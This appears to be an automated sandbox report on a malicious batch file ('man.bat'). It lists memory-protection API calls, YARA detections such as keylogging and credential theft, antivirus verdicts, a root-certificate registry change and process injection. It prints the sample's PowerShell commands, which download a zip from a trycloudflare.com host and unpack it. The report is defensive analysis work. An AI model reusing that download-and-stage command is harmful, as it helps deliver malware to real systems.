NtProtectVirtualMemory Oct. 30, 2024, 9:23 a.m.	process_identifier: 2328 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7561c000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Oct. 30, 2024, 9:23 a.m.	process_identifier: 2328 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7563c000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Oct. 30, 2024, 9:23 a.m.	process_identifier: 2328 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x74513000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Oct. 30, 2024, 9:23 a.m.	process_identifier: 2328 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x745b7000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Oct. 30, 2024, 9:23 a.m.	process_identifier: 2328 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x76af9000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Oct. 30, 2024, 9:23 a.m.	process_identifier: 2328 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x75ac2000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Oct. 30, 2024, 9:23 a.m.	process_identifier: 2328 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x75602000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Oct. 30, 2024, 9:23 a.m.	process_identifier: 2328 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x75607000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Oct. 30, 2024, 9:23 a.m.	process_identifier: 2328 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7561f000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Oct. 30, 2024, 9:23 a.m.	process_identifier: 2328 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x75606000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Oct. 30, 2024, 9:23 a.m.	process_identifier: 2328 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x757f3000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Oct. 30, 2024, 9:23 a.m.	process_identifier: 2328 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x778fd000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Oct. 30, 2024, 9:23 a.m.	process_identifier: 2328 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x757f7000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Oct. 30, 2024, 9:23 a.m.	process_identifier: 2328 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x755f8000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Oct. 30, 2024, 9:23 a.m.	process_identifier: 2328 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x755fd000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Oct. 30, 2024, 9:23 a.m.	process_identifier: 2328 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x778e2000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Oct. 30, 2024, 9:23 a.m.	process_identifier: 2328 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x778d2000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Oct. 30, 2024, 9:23 a.m.	process_identifier: 2328 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x75b36000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Oct. 30, 2024, 9:23 a.m.	process_identifier: 2328 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x76a94000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Oct. 30, 2024, 9:23 a.m.	process_identifier: 2328 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x76a93000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Oct. 30, 2024, 9:23 a.m.	process_identifier: 2328 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x76a95000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Oct. 30, 2024, 9:23 a.m.	process_identifier: 2328 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x76a93000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Oct. 30, 2024, 9:23 a.m.	process_identifier: 2328 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7564f000 process_handle: 0xffffffff	1

Creates a shortcut to an executable file (1 event)

file	C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk

Creates a suspicious process (2 events)

cmdline	powershell -Command "& { Expand-Archive -Path 'C:\Users\test22\Downloads\qfv0ao.zip' -DestinationPath 'C:\Users\test22\Downloads' -Force }"
cmdline	powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://louise-monitors-mo-rating.trycloudflare.com/qfv0ao.zip' -OutFile 'C:\Users\test22\Downloads\qfv0ao.zip' }"

Changes read-write memory protection to read-execute (probably to avoid detection when setting all RWX flags at the same time) (1 event)

Time & API	Arguments	Status	Return	Repeated
NtProtectVirtualMemory Oct. 30, 2024, 9:23 a.m.	process_identifier: 2328 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 16 (PAGE_EXECUTE) base_address: 0x053f0000 process_handle: 0xffffffff	1	0	0

Checks for the Locally Unique Identifier on the system for a suspicious privilege (2 events)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW Oct. 30, 2024, 9:23 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0
LookupPrivilegeValueW Oct. 30, 2024, 9:23 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

Yara rule detected in process memory (39 events)

description	Create a windows service	rule	Create_Service
description	Communications over RAW Socket	rule	Network_TCP_Socket
description	Communication using DGA	rule	Network_DGA
description	Match Windows Http API call	rule	Str_Win32_Http_API
description	Take ScreenShot	rule	ScreenShot
description	Escalate priviledges	rule	Escalate_priviledges
description	Steal credential	rule	local_credential_Steal
description	PWS Memory	rule	Generic_PWS_Memory_Zero
description	Record Audio	rule	Sniff_Audio
description	Communications over HTTP	rule	Network_HTTP
description	Communications use DNS	rule	Network_DNS
description	Code injection with CreateRemoteThread in a remote process	rule	Code_injection
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerCheck__RemoteAPI
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	DebuggerException__ConsoleCtrl
description	(no description)	rule	DebuggerException__SetConsoleCtrl
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	(no description)	rule	Check_Dlls
description	Checks if being debugged	rule	anti_dbg
description	Anti-Sandbox checks for ThreatExpert	rule	antisb_threatExpert
description	Bypass DEP	rule	disable_dep
description	Affect hook table	rule	win_hook
description	File Downloader	rule	Network_Downloader
description	Match Windows Inet API call	rule	Str_Win32_Internet_API
description	Communications over FTP	rule	Network_FTP
description	Run a KeyLogger	rule	KeyLogger
description	Communications over P2P network	rule	Network_P2P_Win
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep

Uses Windows utilities for basic Windows functionality (2 events)

cmdline	"C:\Program Files (x86)\Internet Explorer\iexplore.exe" SCODEF:2220 CREDAT:145409
cmdline	"C:\Program Files (x86)\Internet Explorer\iexplore.exe" -nohome

File has been identified by 12 AntiVirus engines on VirusTotal as malicious (12 events)

CTX	batch.unknown.pwshrunner
ALYac	Generic.BAT.PwshRunner.A.D2C00237
VIPRE	Generic.BAT.PwshRunner.A.D2C00237
Arcabit	Generic.BAT.PwshRunner.A.D2C00237
BitDefender	Generic.BAT.PwshRunner.A.D2C00237
MicroWorld-eScan	Generic.BAT.PwshRunner.A.D2C00237
Emsisoft	Generic.BAT.PwshRunner.A.D2C00237 (B)
Sophos	Troj/BatDl-MX
Ikarus	Trojan-Downloader.PowerShell.Agent
FireEye	Generic.BAT.PwshRunner.A.D2C00237
Google	Detected
GData	Generic.BAT.PwshRunner.A.D2C00237

Attempts to create or modify system certificates (1 event)

registry

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F81F111D0E5AB58D396F7BF525577FD30FDC95AA\Blob

Resumed a suspended thread in a remote process potentially indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2220 resumed a thread in remote process 2328
NtResumeThread Oct. 30, 2024, 9:23 a.m.	thread_handle: 0x00000338 suspend_count: 1 process_identifier: 2328	1	0	0

man.bat

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All